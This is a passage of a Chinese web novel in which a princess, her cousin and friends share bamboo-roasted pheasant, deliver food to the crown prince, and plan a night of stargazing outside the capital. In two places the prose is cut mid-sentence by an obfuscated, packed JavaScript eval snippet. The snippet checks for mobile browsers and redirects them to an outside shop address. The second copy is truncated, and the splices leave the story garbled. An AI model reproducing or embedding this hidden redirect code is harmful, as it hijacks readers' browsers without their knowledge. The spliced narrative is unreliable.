三道目光又一次落在了谢稳身上,甚至有些灼人。谢稳半点不怵,笑眯眯道,“公主,说这话的人,除了东奔西走的骗子,就是做长久生意的寻常商贩。对吗?”相碰目光的另一端,许曦也笑,眸子里流转着狐似的狡黠,“对,是这样。” 答案公之于众,许知礼砸吧砸吧嘴,林懿山则是陷入了沉默。也许是因为这个回答听起来像个冷笑话,也许是因为俩人再一次上了这个老旧的当。 许曦兀自笑着,“哈哈哈......乐死我了。林三,你和表姐的反应太好玩了......哈哈.....”分席而坐的谢稳也弯着眼睛。林懿山看这样,分明是被取笑也绷不住笑了出来。许知礼不消说,早就盘坐一遍呵呵笑。本是各笑各的,可是四个人互相一对上眼睛,笑声就再也止不住,越来越急,越来越高,最后变成一场开怀大笑。 他们之间大多如此,由某一个人挑起话头,然后漫无边际地聊,也许得到一个答案,也许得不到,但是那并不重要。 玩闹半天,有随侍提醒,“已是一个时辰了。” 竹筒取出,外皮已燎得生焦。林懿山亲自上手,照旧使那把宝石匕敲裂竹筒,登时有竹香、肉香、菌香交融扑鼻。 竹筒挨个分出去,明亮月色下清晰可见肉酥烂而汤金黄。众人跑马一天,又等了不短时辰,这会儿正是饥肠辘辘。筷子在金汤里搅一搅,嗅见竹沥清甜,拾块肉到嘴里,鸡肉浓鲜。 几人间本就没什么食不言的规矩,这会儿更是边吃着竹筒雉鸡边把林懿山夸得天上有地下无。林懿山听得高兴,咧嘴笑,露出些白牙,又打趣道,“吃什么补什么,‘伤患乙’和‘伤患丙’可得多吃点。”许知礼和谢稳也是玩笑着捧场,只道是有林懿山这么道手艺在,传给随行的御厨,他二人就是将满山的雉鸡吃尽也是吃得的。 独独许曦忽然问,“吃什么补什么?”“是啊,吃什么补什么。”许知礼笑还在脸上,顺嘴胡咧咧道,“吃骨头补骨,吃血补血。”“那吃肉呢?”许曦追问。“补肉呗。”许知礼回。 许曦若有所思地点点头,突然举手,“林三,我们还有多的竹筒雉鸡吗?”“没有。”林懿山纳闷,“照着一人一份备的,哪儿还有多的?”见人不说话,她又问,“你多要一份拿来做什么用?”“吃啊。”许曦自是回得理所当然,“方才表姐不是说吃肉补肉?‘病患乙’和‘病患丙’都吃了,总不能把‘病患甲’忘了?当然要给哥哥送一份。” 许曦孝敬哥哥的心倒是真切,可这一时半会儿还真就变不出来他许熙的份。 许知礼想了想,劝道,“虽说是吃肉补肉,可倒也不必一定就吃这道肉。想来表哥帐中不会少了肉吃,送不上也就不必强求了。”许曦自有她的道理,“可其他的肉怎么比得上这手艺好吃呢?”越想越急,她挽袖子站起,“没有便没有,正好叫我自己试试。兴许这就把林三的手艺学来了。” 林懿山看着她笑,“那你做吧,左右没人会饿着太子,叫太子等着就是。我好好看看你是怎么做的。”许曦往林懿山料理食材的桌前一站,回想了一下,信手抓过青竹破开,可下一步就犯了难。 这......粗盐和姜末如何添呢?她几时也未做过这样的活计,自然是拿不准应有的那个度,也学不来林懿山抹盐如抚琴的翩然。 许曦转头看林懿山,林懿山不说话,只和她对视着笑。许曦接着看,林懿山接着笑。许曦还看,林懿山还笑。终于她是笑够了,拦下旁边跃跃欲试要上去帮忙的巧娘,自己走了过来,“我来吧我来吧。” 许曦“哦”了一声,把手里的东西一并移交给人家,影子似地站在林懿山身后看她动作,连送竹筒入篝火也亦步亦趋的跟着。 虽是习惯了这样的事,林懿山也忍不住调笑,“这就是你说的学走了?”许曦眨眨眼,摊开手给她看,毫不遮掩地装傻,“虽然我没学会,但是我刚才动完手自己把手弄干净了啊。” 林懿山又气又笑,阴阳怪气道,“那你很厉害哦?”许曦完全当夸奖听,背着手一扬眼,“对啊。” 大家一齐陪着,又是等了一个时辰。时间一到,许曦招呼随侍取出竹筒,嚷着“这个可以会”,端着宝石匕一点点把竹筒敲裂。 林懿山站在一边欲言又止,抿了抿嘴,“嗯......”,她还是问了出来,“你为什么不送到太子那再敲呢?这样路上散了热气不说,到了那吃起来,味道也不好了吧?”许曦闪着小得意的笑容僵在脸上,把宝石匕一扔,又开始喊人,“巧娘!巧娘!快!快!”她围着桌上的竹筒雉鸡打转,“咱们得立即送到哥哥帐子里去!” “公主。”谢稳突然出声。许曦忙里抽闲去看他,一副“你有什么非说不可的话要挑在这种时候说”的表情。谢稳眉眼间有些隐约笑意,“这么着急,不如直接‘飞’过去?” “飞?”许曦一愣,旋即明白过来,面上涌出喜色,从巧娘手上接下收拾好的食盒,但转瞬面上又渗出些为难,她自己运功到哥哥那倒是不成问题,只是怕洒了汤水。这样想着,她的目光不自觉地看向第二个人选——谢稳。 许曦接下食盒时那一瞬间的犹豫就已经让谢稳洞悉了她的想法,他主动请缨道,“公主也不宜一人提着个食盒来去,不如我与公主同去?”这一下正问在痒处,许曦当即应下,把食盒往谢稳手里一塞,两人这就提气运功往太子帐去。 “哎!”许知礼下意识喊了一声,望了望远去的身影,懵然回头看林懿山,“他俩就这么走了?”林懿山语气里也带些好笑的意味,“你认识你表妹比我早呀,怎么倒过来问我这种问题?” 许知礼舀了勺肉汤,便想边喝,半晌道,“也是,她一直都这个样子。” 懒洋洋享用着属于自己的竹筒雉鸡,许知礼又问,“就剩我和你了,咱一会儿......”“散场。”林懿山打断她,“吃完就散场。”“不是。”许知礼瞪圆眼睛,“这就散了?” 林懿山笑眯眯的,说出的话却是秋风扫落叶般无情,“没错。”“这......这才什么时辰啊。”许知礼试图挣扎一二,“照往常也才刚开始呢。”林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317560|198991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懿山不理会她的“据理力争”,“我带来的话本还放在帐中没看完呢,你今日受了伤就应该好好休息啊。”她同样瞪着眼,做出一副凶相,“难不成你身体不要了吗?” 这局,林懿山胜。理亏惜败的许知礼撇撇嘴,吃完饭就自已一个人嘀嘀咕咕地和林懿山散了场。 可这场散个没完,今日散了明日散,明日散完后日散。不用问,次次都是林懿山的主意。但你要非跟人家论,她可就不“你”“我”“她”地说话了,张嘴就是“伤患乙”“伤患丙”,叫人没理。 好不容易“伤患乙”和“伤患丙”不当伤患了,可这秋狝也就结束了。“伤患丙”对此不置可否,但“伤患乙”意见很大。 “不行,今日必得出了门会在一起玩一场!”许知礼一巴掌拍在桌上,“出门还不行,还得出城去!” 懒散摊在旁边的许曦身子一跳,随即长舒一口气,“表姐,轻点嘛。差点被你吓得魂掉。”她又问,“出城去?”瞄了眼外面的天色,许曦慢悠悠道,“天一会儿可就黑了,表姐须得早做打算。不然哥哥不放我出门,我就陪不上表姐了。” “少来。”许知礼横她一眼,“你指定是懒骨头又犯了,不愿意动弹。别当我不知道,你成日里拿太子表哥当幌子。高兴了就百无禁忌,没心思就是要受太子表哥的管。” 许曦也不费力狡辩,耳朵一捂,眼一闭,有气无力道,“会去的会去的......天上下刀子我也一定会去的。” 许知礼指节敲在桌子上,笃笃地响,“让我想想,出城做些什么。”她仰头盯着悬在头上三丈的辉煌藻井,渐渐神游天外。许曦掩着嘴打了个呵欠,半撑着眼看窗外一轮金日从新修国安寺的塔顶滚到远山腰上,眼珠一斜,窗子的另一边,已然可见半轮缥缈的银月。 银月边上缓缓浮出几颗散星来,看得许曦眼酸。她揉揉眼角,声音和许知礼的同时响起,“去看星吧。” “嗯?”许曦一惊,接着就是一阵轻浅的笑声,“表姐好文雅。”许知礼啧了一声,半得意半嗔怪道,“满京城里,夸上我长姐一句‘第一贵女’,谁敢不服?多少高门大户做梦都生不出我长姐这样的女儿家。我是她妹妹,一对爹娘生的那种,文雅一点很正常啊。” 许曦配合地拍手,赞叹里满是夸张,“表姐和大姐姐芝兰同芳,姑姑府上真是双喜临门啊。”见许知礼翘起嘴角,她又补充道,“表姐和大姐姐姐妹情深,所以才在前些年大姐姐成婚礼上哭成个泪人吧。”许知礼一噎,刚想回嘴又听她道,“不对,听人说,是大姐姐及笄那日就一人躲在房里哭到天黑。可怜大姐姐那时连个婚约都没有,吓得在表姐床前眼都没合地陪到第二日天明呢。” 许知礼耳尖漫上热意,鉴于对方说的都是事实,只好嘴硬道,“年少轻狂而已嘛,年少轻狂。”又转移话题,“好了好了,不要再说这个了。说看星啊!今日去城外看星!” 许曦忍住笑意,终于认真想了想这件事,“我们就这么出城去,看星星?”“不然呢?”许知礼不解看她。“看星看星,要好好看仔细天上的星啊。”许曦道,“但是,据我所知,我们几人中,怕是谁都不能像先生讲经卷一样对这漫天星辰了如指掌。” “小事小事。”许知礼不以为意,“带张星图的事。”“星图......”许曦向后靠在椅上,“最好的星图,应该是在......”“国师府!”许知礼答。“那......”“林懿山!”这次不消许曦说完许知礼就已抢答了。 23. 人头+1+1 林懿山跟往日一样窝在自己的软榻上读些闲书,只是平白没由头的心慌扰得她静不下心,读不上两页就要合上册子歇上一会儿。如此反复不过两次,她就隐约听见什么,似乎是外面的宫人在问公主安,还有“郡主”。 林懿山起身,书册扔在榻上,眯起眼从内间绕了出来。 她一出现,许曦和许知礼肉眼可见地雀跃了些,两人急匆匆走过来又把林懿山扯进内室。 “不要这样拽我的衣服。”林懿山皱眉,边说着手上就动作了起来,“都给我弄乱了。”许曦嘿嘿讪笑,刚才就属她没轻没重,“忘了忘了。”林懿山挑着眼,“要是没有一个非把我拽进来不可的理由给我,我等一下就把你们两个都打一遍,我跟你俩讲。” “有的有的。”许知礼抢过来,“我们打算今晚出城去看星。”“然后呢?”林懿山问。“我们仨,加上谢稳,没人能把满天的星星认得一个不差。”许曦接了一句。“所以?”林懿山追问。“所以,我们需要一张最好的星图,比如国师府的。”许知礼这话同图穷匕见也没什么两样了。 “所以?”林懿山又眯起了眼,配合着此时她心中升起的那个猜测,这眼神甚至透出几分危险意味。 果不其然,下一瞬,许曦一把捞起林懿山垂在身侧的手抱在怀里,“所以,大慈大悲林懿山大人,时间不等人,找你师叔拿肯定比找国师要快多了。” “拿?”林懿山登时将手缩回来,甚至背在身后,瞪大眼睛看许曦“你是要偷吧?还是要我去偷?”“哎!”许曦矢口否认,“这怎么能是偷呢?借,这是借!”许知礼也应和着,“对,我和好好是表姐妹,你和我俩情同姐妹,国师又是你师叔,四舍五入,大家都是一家人。一家人的事,怎么能是偷呢?” 林懿山叫这满口歪理的两人气笑了,“我才不干坏事,叫好好去偷,好好不去就你去。”许曦凑上前,满脸的笑比花都好看,“哎呀,血亲还分远近呢,我俩不能和你比嘛......”又换副威胁语气,“你要是不去,我就半夜偷偷站在你床边吓死你!”林懿山哼笑一声,抱着双臂浑然不惧,“那我就更不去了,你要是半夜这么干,我就喊有刺客,叫侍卫来给你抓走!” “哎哎,错了错了。”许曦认错的态度一向良好,转而皱着脸求人,“去嘛去嘛......求求你了,大慈大悲林懿山大人......”许知礼也有样学样地跟上来缠,全然不顾自己和人家差不出几月去的年纪,和许曦一前一后喊上了“大慈大悲林懿山大人”。 如此几遍过后,终究还是林懿山叫了停,“好了好了,不要再喊了。”她一顿,又补了句,“是你们要我这么干的哦,可不是我主动的。”说完她转身走了。 星图的事解决,许曦扭身坐在旁边的软榻上,如释重负般吐出一口长气,“等林三回来,我们再一起出宫去,顺路接上谢稳就行了。”许知礼喜滋滋地点头,顺嘴问道,“你跟他说好什么时辰了吗?” “你没说?”许曦问。“不是你去说的吗?”许知礼反问,“你没说?” “坏了。”许曦本来已经懒洋洋躺倒,立时翻身起来看门外天色,“这会儿子宫门落钥已经开始了,谢稳必定早就回府去了。” 许知礼语气幽怨,“好好,你知道的,假使今日少了半个人,夜里我都要睡不着觉的。你忍心看到你表姐我这样吗?”“不忍心不忍心。”许曦手挥得飞快,只道,“办法还是有的。” 许知礼不知道许曦还有什么办法,只知道不出一盏茶功夫,她俩已经抢在宫门落钥结束前坐马车出宫了。 “我俩......直接去谢家找谢稳?”许知礼后知后觉问了一句。“对啊。”许曦理所当然的一点头。“你的意思是,”许知礼两手扣在许曦肩上,恨不能使出浑身的劲去摇醒这个“傻小孩”,“咱俩就这么连张拜帖都没有,找上谢家去,腆着脸跟长宁候和长宁候夫人说,借人家小儿子一用,凑个人头和咱俩出城看星去?是这个意思吗?” “啊?”许曦甚至一时都没反应过来,许知礼还在念,“是这个意思吗?好好,这么上门去,咱俩平时费心巴力装出来的体面、端庄、矜持的贵女样子还要吗?这就不要了吗?虽说这玩意儿要不要也不是太所谓吧,但是,真不要了吗?这么草率?真就这么上门去?好好?你是这个意思吗?真不要......” “停!”许曦当机立断捂住了许知礼的嘴,“非也。”“唔?”许知礼坚持自己的发言权,或者说,出声权,“唔唔唔唔唔唔唔唔?”许曦语气轻快,“不要担心,不要担心,山人自有妙计。” “唔唔唔唔?”许知礼问。“不要担心,不要担心,一定是能让大家一人不少的妙计。”许曦答。“唔唔?”许知礼又问。“不要担心,不要担心,当真,千真万确。”许曦信誓旦旦地点头,颇有一夫当关的气势。 “唔唔唔唔唔,唔唔唔唔。”许知礼忽然全身放松下来,瘫靠在车厢壁上。许曦一愣,“这句没听懂。”许知礼往许曦手背上一拍,“唔唔!”“哦哦。”许曦反应过来,缩回手。许知礼懒洋洋道,“我说,‘那我不管了,松开我吧’。”她想了想,“一共九个字,没错。” 马车正好停下,许知礼探头出去,左右看了看,依稀辨认出这里好像是长宁候府的东门。往门口看去,守门的小厮好像也是个熟人,对方见了马车,立时打了个激灵转进门去。 许知礼又回头看许曦,这人一副泰然自若的样子,指尖刚挨上马车帘。 “这是......?”许知礼猜测,“谢稳知道?你其实通知他了?你俩已经约过了?”“没有。”许曦摇头,“谢稳聪慧。” 那头谢稳出了侯府大门,快步迎到马车前,先看到的却是掀帘子跳下来的许知礼,“谢稳,看星去啊!”“看星?”谢稳茫然地眨眨眼,“什么看星?”许知礼半信半疑地看他,“不是,你真不知道啊?” “他真的不知道。”许曦倚在马车窗边,就这么跟他俩说话,“表姐真是,说了又不信,不说还要问。”许知礼抱着胳膊,“可我记得,刚刚那个小厮,应该是跟着你的?从前似乎见过几面。” “对。”谢稳点头,“现在也算是跟着我,只是不用围着我侍候,改成专在这道门候着,瞧见小殿下来了就跑去知会我。” “哦......”许知礼这下想明白是怎么回事了,“我当好好跟我打什么哑谜,敢情是你俩早早定好如此,好好来寻你时好省去见长宁候或者侯夫人那一步呗?”她总结道。“这样方便嘛。”许曦不以为意,转而同谢稳说话,“白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林懿山一上车就被许知礼嘻嘻哈哈推进了车厢,车厢里坐着一个许曦,笑得眼睛弯弯一副岁月静好、与世无争,仿佛与刚才的荒唐行径不沾半点关系的样子,“林三好啊。” 林懿山气结,坐下把星图扔在桌上,“你们这样会把人吓出心疾来的,竟然当街抢人!一会儿路过京兆府我就报官,把你们一个不差的都抓起来!坐外面赶车的谢稳也跑不了!都抓起来!” 许曦揽着林懿山笑,一只手还不忘在人背上装模作样地顺气,“明日再报,明日再报。今日若是被抓起来,可就没星可看了。”许知礼跟着闹,演出惊慌模样冲外面喊,“谢稳,听着没,林懿山可要把咱们都抓起来!快改道!快改道!” 谢稳在外面应,声音带着笑,“冤枉冤枉,谢某实不知情。错在郡主一人,万不可连坐啊!” 此言一出,许曦第一个笑出声,“哈哈哈哈哈哈......那我也冤枉,表姐拽你前可没和我打商量,哈哈哈哈哈哈哈哈哈哈......” 有她带头,几人霎时哄笑一团,连车外的谢稳也笑声清晰,想见是朗目疏眉。 林懿山本也没正经生气,此刻和她们笑在一起,靠在许曦怀里撑起一双盈盈笑眼。 车里车外的笑声聚了又散,散了又聚,谈笑风生间,车已驶出城去,停靠在一处河岸。 马车一停,许曦即刻掀开车窗帘张望。天色已暗,全无日光,冷意从车窗爬进来,只是也还不到看星的最好时候。 谢稳懒洋洋靠在身后车厢上,这点寒凉对他来说倒也算不上什么。身后忽然有人推他背脊,“谢稳,让我一让。”是许曦。“小殿下。”谢稳直接从车辕上跳下。